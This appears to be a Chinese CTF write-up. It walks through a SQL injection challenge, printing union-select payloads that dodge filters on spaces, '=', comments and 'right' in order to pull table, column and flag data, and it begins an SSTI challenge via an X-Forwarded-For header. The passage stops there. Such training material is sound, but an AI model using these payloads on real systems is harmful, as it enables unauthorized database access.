[SWPUCTF 2021 新生赛]sql
可以猜测做了过滤
这里可以bp跑一下看过滤了哪些
尝试发现过滤了空格/**/在sql中代表注释符在mysql中这个可以用来代表空格
发现--+被过滤
#也不行我们试下url编码的#也就是%23
成功了
3个字段
得到库名test_db
这里提示非法操作经过尝试发现=被过滤
在sql中like用于判断一个字符串是否匹配某个模式
这里要在3的字段不然会报错
?wllm='union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/%23
这里和之前的sql一样就不详细解释了如果不知道可以去看第8篇里面详细讲了
这里就把空格换成了/**/和把=换成了like
?wllm='union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'/**/%23
在查询flag
还是有显示问题这里也过滤了right
right是知道字符,然后从指定的位置开始输出
sql中md用于从字符串中提取指定长度的字符串
MID(str, start, length)
str 是要提取子字符串的字符串
start是要开始提取的位置,从 1 开始计数。
length 是要提取的子字符串的长度。
我们使用mid(flag,20,30)代表提取flag字符串从20开始提取30个
不够继续
?wllm='union/**/select/**/1,2,mid(flag,30,30)/**/from/**/LTLT
_flag%23
提取好了拼接一下
[CISCN 2019华东南]Web11
因为页面中有X-Forwarded-For所以尝试一下添加X-Forwarded-For发现可以修改X-Forwarded-For在ctf中的应用不多这里不像是修改X-Forwarded-For修改报头的题我们尝试一下ssti
通过{1*1}得到1发现存在SSTI
在存在模板注入的地方执行系统命令